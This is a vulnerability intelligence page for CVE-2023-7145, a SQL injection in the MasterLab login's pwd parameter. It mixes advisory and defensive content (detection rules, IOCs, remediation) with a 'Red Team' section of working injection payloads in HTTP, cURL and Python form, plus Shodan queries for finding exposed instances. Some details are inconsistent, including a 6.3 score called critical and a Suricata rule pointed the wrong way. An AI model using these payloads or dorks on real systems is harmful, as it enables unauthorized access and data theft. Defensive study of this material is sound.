☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-7145

CVE-2023-7145 SQL Injection in Gopeak
📅 PUBLISHED: 2023-12-29 01:31 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 3.3.10
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-7145 is a critical SQL injection vulnerability discovered in the gopeak MasterLab application, affecting versions up to and including 3.3.10. The flaw resides in the sqlInject function within the app/ctrl/Framework.php file, specifically in the HTTP POST request handler. By manipulating the pwd argument, an unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (MasterLab) developed by gopeak. Therefore, supply chain package security considerations are not directly applicable. However, organizations using MasterLab should treat it as a critical component in their software bill of materials (SBOM) and monitor for any third-party dependencies that may be affected.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited data modification.
  • Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: High. Despite the medium CVSS score, the public availability of exploit code and the lack of a patch elevate the risk. An unauthenticated attacker can execute arbitrary SQL queries, potentially leading to full database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the sqlInject function of app/ctrl/Framework.php. The application fails to properly sanitize user-supplied input passed via the pwd parameter in HTTP POST requests. The vulnerable code likely concatenates the pwd value directly into SQL queries without parameterization or escaping.

Root Cause: The sqlInject function, despite its name suggesting a security measure, does not effectively prevent injection. It may use weak filtering or no filtering at all, allowing an attacker to break out of the intended SQL syntax.

Attack Vector: An attacker sends a crafted POST request to the vulnerable endpoint, injecting SQL commands into the pwd field. For example:

POST /index.php?c=login&a=check HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

pwd=' OR '1'='1' -- -

This payload would bypass authentication by making the SQL condition always true.

Impact: Successful exploitation can lead to:

  • Authentication bypass
  • Extraction of sensitive data (user credentials, personal information)
  • Modification or deletion of database records
  • Potential escalation to remote code execution if the database supports file operations (e.g., INTO OUTFILE)

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (app/ctrl/Framework.php):

function sqlInject($input) {
    // Weak or no sanitization
    return $input;
}

// Usage in login check
$pwd = sqlInject($_POST['pwd']);
$sql = "SELECT * FROM users WHERE password = '$pwd'";
$result = $db->query($sql);

Patched Code (Recommended):

function sqlInject($input) {
    // Use prepared statements or parameterized queries
    // This function should be removed or repurposed
    return $input;
}

// Usage with prepared statement
$stmt = $db->prepare("SELECT * FROM users WHERE password = ?");
$stmt->bind_param("s", $_POST['pwd']);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements, which separate SQL logic from data, preventing injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running MasterLab <= 3.3.10
  • Network access to the vulnerable endpoint

Exploit Steps:

  1. Identify the login endpoint (e.g., /index.php?c=login&a=check).
  2. Send a POST request with a malicious pwd parameter.

Example Exploit (using cURL):

curl -X POST http://target.com/index.php?c=login&a=check \
  -d "pwd=' OR '1'='1' -- -"

Advanced SQL Injection (extracting data):

# Extract database version
curl -X POST http://target.com/index.php?c=login&a=check \
  -d "pwd=' UNION SELECT @@version,2,3 -- -"

Automated Exploit (Python):

import requests

url = "http://target.com/index.php?c=login&a=check"
payload = {"pwd": "' OR '1'='1' -- -"}
response = requests.post(url, data=payload)
print(response.text)

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to login endpoints with unusual pwd values containing SQL keywords (OR, AND, UNION, --, #).
  • Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Honeypot Setup:

  • Deploy a decoy MasterLab instance to capture attacker behavior.
  • Log all POST requests to the login endpoint for analysis.

Lab Environment:

  • Use Docker to set up a vulnerable instance:
docker run -d -p 80:80 --name masterlab-vuln gopeak/masterlab:3.3.10

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /index.php?c=login&a=check with pwd containing SQL injection patterns.
    • Unusual SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:
    • Modified database entries (e.g., new admin users).
    • Suspicious files in the web root (e.g., webshells).
  • Log IOCs:
    • Repeated failed login attempts followed by a successful login with a simple password.
    • Database query logs showing unexpected UNION or OR clauses.

Detection Engineering

YARA Rule

rule CVE_2023_7145_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-7145 in MasterLab"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7145"
    strings:
        $sqli1 = /pwd=.*['\"]\s*(OR|AND)\s+['\"]\s*['\"]/ nocase
        $sqli2 = /pwd=.*UNION\s+SELECT/ nocase
        $sqli3 = /pwd=.*--\s*$/ nocase
        $sqli4 = /pwd=.*#/ nocase
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against MasterLab CVE-2023-7145
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the pwd parameter in MasterLab
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/index.php?c=login&a=check'
        cs-uri-query|contains: 'pwd='
    keywords:
        - ' OR '
        - ' AND '
        - ' UNION '
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7145 SQL Injection Attempt - MasterLab";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php?c=login&a=check"; http_uri;
    content:"pwd="; http_client_body;
    pcre:"/(\x27|\x22)\s*(OR|AND)\s+(\x27|\x22)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-7145;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if possible, or restrict access via firewall rules.
  2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Apply input validation on the server side (e.g., whitelist allowed characters for passwords).
  4. Use parameterized queries in all database interactions.

Long-term Fix:

  • Since no official patch exists, consider migrating to an alternative solution or forking the project to apply the fix yourself.
  • Monitor the vendor's website for any future updates.

Compensating Controls:

  • Enable detailed logging and alerting on suspicious POST requests.
  • Conduct regular security audits and penetration testing.
  • Implement the principle of least privilege for database accounts.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MasterLab"
http.html:"gopeak"
http.html:"MasterLab"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-7145/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.